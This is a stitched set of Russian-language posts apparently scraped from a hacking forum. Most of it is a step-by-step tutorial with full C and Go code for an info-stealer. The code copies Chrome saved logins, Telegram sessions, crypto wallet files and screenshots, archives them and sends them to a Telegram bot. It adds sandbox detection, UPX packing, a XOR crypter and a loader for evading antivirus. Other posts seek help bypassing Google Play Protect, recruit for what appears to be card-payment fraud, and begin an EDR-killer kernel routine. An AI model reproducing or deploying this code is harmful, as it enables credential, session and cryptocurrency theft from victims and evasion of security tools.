public void comboBox2_SelectedIndexChanged(object sender, EventArgs e)
{
Form1 form1 = new Form1();
form1.textBox2.Text = comboBox2.Text;
string textComboBox2 = comboBox2.Text;
MessageBox.Show(textComboBox2);
}
private void button1_Click(object sender, EventArgs e)
{
Form2 form2 = new Form2();
Form1 form1 = new Form1();
if (comboBox1.Text == "" || comboBox2.Text == "")
{
MessageBox.Show("choose correct separators");
}
else
{
form1.textBox1.Text = comboBox1.Text;
form1.textBox2.Text = comboBox2.Text;
MessageBox.Show("Parametrs set successfully");
Hide();
form1.Show();
}
}
}
}
C#:Copy to clipboard
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Net;
using Discord.WebSocket;
namespace ddk
{
class Program
{
static void Main(string[] args)
{
System.Threading.TimerCallback callback = new System.Threading.TimerCallback();
var dt = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, 21, 0, 0);
while (true)
{
if (DateTime.Now < dt)
{
continue;
}
else if (DateTime.Now > dt)
{
continue;
}
if (DateTime.Now == dt)
{
}
}
string token = Console.ReadLine();
}
//public async Task Announce() // 1
//{
// DiscordSocketClient _client = new DiscordSocketClient(); // 2
// ulong id = 123456789012345678; // 3
// var chnl = _client.GetChannel(id) as IMessageChannel; // 4
// await chnl.SendMessageAsync("Announcement!"); // 5
//}
public async Task SendMessage(string token)
{
var _client = new DiscordSocketClient();
await _client.LoginAsync(TokenType.Bot, token);
await _client.StartAsync();
// this is important
// found it here:
// https://github.com/discord-net/Discord.Net/issues/1100
_client.Ready += _client_Ready;
await Task.Delay(-1);
}
private async Task _client_Ready()
{
var guild = _client.GetGuild(7....3); // guild id
var channel = guild.GetTextChannel(79034....63); // channel id
await channel.SendMessageAsync("my_message");
Environment.Exit(0);
}
}
}
Помогите фиксануть код. Задача такова: надо чтобы с моего аккаунта отправлялось определённое сообщение в определённое время, которое я сам введу. Есть некоторые ошибки в коде, заранее извиняюсь за них, болею, голова вообще не думает.
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Улыбнись этому миру, miserylord на связи!
В этой статье мы разберем процесс написания простого инфо-стилера на языке C. Переходим к практике!
Собираем информацию
Итак, инфо-стилер — это вид малвари, который, как следует из названия, предназначен для сбора информации с зараженных целей. Писать код я буду под операционную систему Windows. Сам процесс будет построен от написания небольшой программы, буквально концепта, до чего-то более сложного и глобального.
Начнем со сбора информации о системе. Задача заключается в том, чтобы собрать информацию об устройстве, на котором был запущен код, и сохранить результат в файл info.txt.
Для работы с Windows мы будем использовать программный интерфейс (API), который в Windows называется Win32, а его методы описаны в документации на сайте Microsoft.
C:Copy to clipboard
// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void collectSystemInfo() {
// 2
FILE *file = fopen("info.txt", "w");
if (file == NULL) {
printf("Ошибка открытия файла для записи.\n");
return;
}
// 3
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&osvi)) {
fprintf(file, "Система: Windows\n");
fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
osvi.dwBuildNumber);
} else {
fprintf(file, "Не удалось получить информацию о версии ОС.\n\n");
}
// 4
SYSTEM_INFO si;
GetSystemInfo(&si);
fprintf(file, "Архитектура процессора: ");
switch (si.wProcessorArchitecture) {
case PROCESSOR_ARCHITECTURE_AMD64:
fprintf(file, "x64 (AMD or Intel)\n");
break;
case PROCESSOR_ARCHITECTURE_INTEL:
fprintf(file, "x86\n");
break;
case PROCESSOR_ARCHITECTURE_ARM:
fprintf(file, "ARM\n");
break;
default:
fprintf(file, "Unknown architecture\n");
break;
}
fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);
// 5
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
if (GlobalMemoryStatusEx(&statex)) {
fprintf(file, "\nФизическая память (всего): %llu MB\n",
statex.ullTotalPhys / (1024 * 1024));
fprintf(file, "Физическая память (свободно): %llu MB\n",
statex.ullAvailPhys / (1024 * 1024));
fprintf(file, "Виртуальная память (всего): %llu MB\n",
statex.ullTotalPageFile / (1024 * 1024));
fprintf(file, "Виртуальная память (свободно): %llu MB\n",
statex.ullAvailPageFile / (1024 * 1024));
} else {
fprintf(file, "Не удалось получить информацию о памяти.\n");
}
// 6
TCHAR computerName[256];
DWORD size = sizeof(computerName) / sizeof(computerName[0]);
if (GetComputerName(computerName, &size)) {
fprintf(file, "\nИмя компьютера: %s\n", computerName);
} else {
fprintf(file, "\nНе удалось получить имя компьютера.\n");
}
// 7
fclose(file);
printf("Информация успешно сохранена в файл info.txt.\n");
}
// 8
int main() {
collectSystemInfo();
return 0;
}
Для сборки используем компилятор mingw32-gcc. Проверяем код и убеждаемся, что он успешно работает.
Перейдем к браузерам. Самым популярным браузером является Google Chrome. Файлы располагаются в директории C:\Users\User\AppData\Local\Google\Chrome\User Data. Можно было бы скопировать всю директорию целиком, но она занимает несколько гигабайт данных, поэтому придется подходить более избирательно. Сконцентрируем внимание на файле Login Data. Этот файл хранит информацию о сохранённых пользователем данных для входа на веб-сайты в браузере. Для корректного копирования файлов необходимо хорошо разобраться, за что отвечает каждый файл программы, и понять, как с ним работать. В целом, если мы перенесём всю папку с одного устройства на другое, и версии программы и операционной системы будут идентичными, то проблем с использованием этих данных возникнуть не должно. (Говоря о файле Login Data, стоит отметить, что он зашифрован. Для его расшифровки необходимо использовать API Windows DPAPI. Файл представляет собой базу данных SQLite.)
Код будет выглядеть следующим образом:
C:Copy to clipboard
// 1
void killProcessByName(const TCHAR *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
_tprintf(_T("Не удалось создать снимок процессов.\n"));
return;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (_tcsicmp(pe32.szExeFile, processName) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess) {
_tprintf(_T("Завершаем процесс: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
} else {
_tprintf(_T("Не удалось открыть процесс %s для завершения.\n"), processName);
}
}
} while (Process32Next(hSnapshot, &pe32));
} else {
_tprintf(_T("Не удалось получить список процессов.\n"));
}
CloseHandle(hSnapshot);
}
// 2
void copyChromeProfiles() {
TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
_tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
_tcscat(chromePath, _T("\\Login Data"));
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat(destPath, _T("\\ChromeLoginData"));
_tprintf(_T("Копирование файла Login Data Chrome...\n"));
CopyFile(chromePath, destPath, FALSE);
_tprintf(_T("Копирование файла Login Data завершено.\n"));
} else {
_tprintf(_T("Не удалось найти путь профилей Chrome.\n"));
}
}
// 3
int main() {
collectSystemInfo();
killProcessByName(_T("chrome.exe"));
copyChromeProfiles();
return 0;
}
Проверяем код и видим, что всё работает успешно!
Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.
В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.
Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram
C:Copy to clipboard
// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR sourcePath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);
hFind = FindFirstFile(sourcePath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
_tprintf(_T("Не удалось найти файлы в директории %s\n"), source);
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];
_stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
_stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
CreateDirectory(destFile, NULL);
copyDirectory(sourceFile, destFile);
} else {
if (!CopyFile(sourceFile, destFile, FALSE)) {
_tprintf(_T("Не удалось скопировать файл %s\n"), sourceFile);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
// 2
void copyTelegramData() {
TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
_stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));
if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
_tprintf(_T("Копирование данных из папки Telegram Desktop...\n"));
copyDirectory(telegramPath, destPath);
_tprintf(_T("Копирование папки Telegram Desktop завершено.\n"));
} else {
_tprintf(_T("Не удалось создать папку для копирования.\n"));
}
} else {
_tprintf(_T("Не удалось получить путь к папке AppData.\n"));
}
}
Добавим ещё несколько функций:
Функция рекурсивного поиска файлов wallet.dat в системе:
C:Copy to clipboard
void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR searchPath[MAX_PATH];
_stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);
hFind = FindFirstFile(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
_stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
findAndCopyDatFiles(sourcePath, destination);
} else {
if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
CopyFile(sourcePath, destPath, FALSE);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.
Функция для создания скриншота и сохранения его в формате BMP:
C:Copy to clipboard
void takeScreenshot(const TCHAR *filePath) {
HWND hwndDesktop = GetDesktopWindow();
HDC hdcScreen = GetDC(hwndDesktop);
HDC hdcMemory = CreateCompatibleDC(hdcScreen);
RECT desktopRect;
GetClientRect(hwndDesktop, &desktopRect);
int width = desktopRect.right;
int height = desktopRect.bottom;
HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
SelectObject(hdcMemory, hBitmap);
BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);
BITMAPFILEHEADER bfh;
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = width;
bih.biHeight = -height;
bih.biPlanes = 1;
bih.biBitCount = 32;
bih.biCompression = BI_RGB;
bih.biSizeImage = 0;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
char *bitmapData = (char *)malloc(bitmapSize);
if (!bitmapData) {
printf("Ошибка: недостаточно памяти для создания скриншота.\n");
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
return;
}
GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);
FILE *file = _tfopen(filePath, _T("wb"));
if (file) {
bfh.bfType = 0x4D42;
bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
fwrite(bitmapData, bitmapSize, 1, file);
fclose(file);
} else {
printf("Ошибка: не удалось открыть файл для записи.\n");
}
free(bitmapData);
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
}
Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.
После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.
C:Copy to clipboard
void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
char command[MAX_PATH];
snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);
printf("Создание RAR архива командой: %s\n", command);
int result = system(command);
if (result == 0) {
printf("RAR архив успешно создан: %s\n", rarFilePath);
} else {
printf("Ошибка при создании RAR архива.\n");
}
}
Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, ""C:\\Program Files\\WinRAR\\rar.exe" a -r %s %s\\*", rarFilePath, folderPath);
Отправка информации
Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.
Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.
Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.
C-like:Copy to clipboard
package main
import (
"fmt"
"io"
"log"
"net/http"
"os"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)
func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
if err != nil {
return fmt.Errorf("не удалось получить информацию о файле: %v", err)
}
fileURL := file.Link(bot.Token)
resp, err := http.Get(fileURL)
if err != nil {
return fmt.Errorf("ошибка при загрузке файла: %v", err)
}
defer resp.Body.Close()
out, err := os.Create(savePath)
if err != nil {
return fmt.Errorf("не удалось создать файл %s: %v", savePath, err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
return fmt.Errorf("ошибка при сохранении файла: %v", err)
}
return nil
}
func main() {
botToken := ""
adminChatID := int64()
bot, err := tgbotapi.NewBotAPI(botToken)
if err != nil {
log.Fatalf("Ошибка создания бота: %v", err)
}
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates := bot.GetUpdatesChan(u)
for update := range updates {
if update.Message != nil {
if update.Message.Document != nil {
fileID := update.Message.Document.FileID
savePath := "received_file.rar"
err := downloadFile(bot, fileID, savePath)
if err != nil {
log.Printf("Ошибка загрузки файла: %v\n", err)
continue
}
msg := tgbotapi.NewMessage(adminChatID, "Файл успешно загружен и сохранен как received_file.rar")
_, err = bot.Send(msg)
if err != nil {
log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
}
fmt.Printf("Файл получен и сохранен как %s\n", savePath)
}
}
}
}
Реализация функции sendFileToTelegram.
C:Copy to clipboard
BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {
char url[512];
snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);
// 1
HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("Ошибка: InternetOpenA\n");
return FALSE;
}
// 2
HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hSession) {
printf("Ошибка: InternetConnectA\n");
InternetCloseHandle(hInternet);
return FALSE;
}
// 3
HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
if (!hRequest) {
printf("Ошибка: HttpOpenRequestA\n");
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 4
FILE *file = fopen(filePath, "rb");
if (!file) {
printf("Ошибка: Не удалось открыть файл %s\n", filePath);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 5
fseek(file, 0, SEEK_END);
long fileSize = ftell(file);
rewind(file);
char *fileContent = (char *)malloc(fileSize);
if (!fileContent) {
printf("Ошибка: Недостаточно памяти для содержимого файла\n");
fclose(file);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
fread(fileContent, 1, fileSize, file);
fclose(file);
// 6
char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
char bodyStart[1024];
snprintf(bodyStart, sizeof(bodyStart),
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n",
chatID);
char bodyEnd[] = "\r\n-----Boundary--";
DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);
char *body = (char *)malloc(bodySize);
memcpy(body, bodyStart, strlen(bodyStart));
memcpy(body + strlen(bodyStart), fileContent, fileSize);
memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));
// 7
BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);
if (!sendResult) {
printf("Ошибка: HttpSendRequestA\n");
} else {
printf("Файл успешно отправлен в Telegram\n");
}
free(fileContent);
free(body);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return sendResult;
}
Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:
В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.
Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.
Дальнейшие шаги
Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.
C:Copy to clipboard
// 1
int isVirtualMachineByBios() {
char biosData[256] = {0};
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return 0;
}
DWORD size = sizeof(biosData);
if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
RegCloseKey(hKey);
return 1;
}
}
RegCloseKey(hKey);
return 0;
}
// 2
int isVirtualMachineByProcess() {
const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32First(snapshot, &entry)) {
do {
for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
CloseHandle(snapshot);
return 1;
}
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}
// 3
int isVirtualMachineByDrivers() {
const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
if (GetModuleHandleA(vmDrivers[i]) != NULL) {
return 1;
}
}
return 0;
}
// 4
int isRunningOnVirtualMachine() {
if (isVirtualMachineByBios()) {
printf("Обнаружена виртуальная машина через BIOS!\n");
return 1;
}
if (isVirtualMachineByProcess()) {
printf("Обнаружена виртуальная машина по процессам!\n");
return 1;
}
if (isVirtualMachineByDrivers()) {
printf("Обнаружена виртуальная машина по драйверам!\n");
return 1;
}
return 0;
}
Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.
Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).
Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.
В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.
Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):
Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".
Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.
Перей
C:Copy to clipboard
дём к коду криптора:
#include <stdio.h>
#include <stdlib.h>
void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
FILE *in = fopen(inputFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Ошибка при открытии файлов.\n");
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("Файл успешно обработан.\n");
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("Использование: %s <inputFile> <outputFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[3]);
xorEncryptDecrypt(argv[1], argv[2], key);
return 0;
}
Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.
Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.
C:Copy to clipboard
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
FILE *in = fopen(encryptedFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Ошибка открытия файлов.\n");
if (in) fclose(in);
if (out) fclose(out);
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("Файл успешно дешифрован в %s\n", outputFile);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Использование: %s <encryptedFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[2]);
const char *tempFile = "temp_main.exe";
xorDecryptToFile(argv[1], tempFile, key);
printf("Запуск временного файла...\n");
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("Ошибка запуска процесса.\n");
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (remove(tempFile) == 0) {
printf("Временный файл удалён.\n");
} else {
printf("Не удалось удалить временный файл.\n");
}
return 0;
}
Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.
Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.
Трям! Пока!
Суть такова. Написал шелл, в котором решил обнулить весь образ файла, из
которого был произведен вызов. Далее шелл выполняет какие-то действия, а в
конце, так как возвращаться ему в нули не стоит, вызывает ExitProcess. И вроде
бы все должно быть нормально, однако в действительности происходит весьма
странная ерунда:
Вызывается ExitProcess, в нем RtlExitUserProcess, внутри снова происходят
какие-то танцы с бубном, и на моменте вызова LdrShutdownProcess (внутри
вызываются какие-то неизвестные функции ntdll) бросает в нули, а конкретнее в
какое-то место из .text секции. Запустил Идочку, поглядел, оказалось, что в
этом месте расположилась ___vcrt_freefls функция из стандартной библиотеки.
Стало ясно, что для корректного срабатывания необходимо освободить через
FlsFree все эти коллбеки. И, боже мой, PEB имеет соответствующие поля для
этого. Однако, как оказалось, в них не содержится ровным счетом ничего!
PEB, по идее, должна хранить инфу в следующих полях (но не хранит):
C:Copy to clipboard
_FLS_CALLBACK_INFO* FlsCallbacks;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex; //also FlsCount
Кустарное решение, которое сработало в частном случае:
C:Copy to clipboard
for (DWORD index = 1; index < 6; index++)
FlsFree(index);
Но такое решение мало того, что не присуще джентльменам, так еще и неясно в каком процессе может оказаться шелл, а винда позволяет, как минимум, хранить 1088 коллбеков (так где-то было написано), а макрос из недокументированной документации и вовсе объявляет FLS_MAXIMUM_AVAILABLE равным 4080. Тысячи раз вызывать функцию считаю непрактичным.
Отсюда и возникает вопрос: как получить индексы FLS или список коллбеков.
Can anyone help me with a solution for my bot?
i'm having problems with google play protect, easily solved with crypter but i
wanted a solution straight to the source
Installation Blocked by Google Play Protect*
Can separating part of the code and loading with dexclassloader be a solution?
Call me telegram or send pm if you know how to help me https://t.me/dr0id_b0ss
Доброго времени суток Господа
Ищу человека, кто может создать мерч оплаты с карты, с банков USA и EU
Также, кто может создать магазин одежды на usa платформе
Отпишите в лс или по контактам, строго те, кто реально может
С уважением к вам MizoCash
You can contact @Mizocash right away.
t.me
Доброго времени суток. Короче нашёл статью года 19 про AOB Scan на C#.
Переписал его на C++. Проблем с ним нет, сигнатуры находит.
Нашёл он мне адресс с сигнатурой. А на адрес ниже лежат данные о количестве
жизней(ходов). Короче я запутался как спуститься на один адресс всего-то в
низ, чтобы правильно считать данные в int
C++:Copy to clipboard
std::cout << "Found address: 0x" << std::hex << ADDRESS << std::endl;
int buffer = 0;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(process, (LPCVOID)(ADDRESS+ sizeof(int)), &buffer, sizeof(buffer), &bytesRead)) {
std::cerr << "Не удалось прочитать данные из памяти процесса\n";
return -1;
}
std::cout << "Health: " << std::dec << buffer << std::endl;
delau EDR Killer, zashel v typik pri polychenii offsetov
Hidden content for authorized users.
C:Copy to clipboard
ULONG64 FindPspCreateProcessNotifyRoutine()
{
LONG OffsetAddr = 0;
ULONG64 i = 0;
ULONG64 pCheckArea = 0;
UNICODE_STRING unstrFunc;
RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
for (i = pCheckArea; i < pCheckArea + 20; i++)
{
if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
{
OffsetAddr = 0;
memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
break;
}
}
KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));
for (i = pCheckArea; i < pCheckArea + 0xff; i++)
{
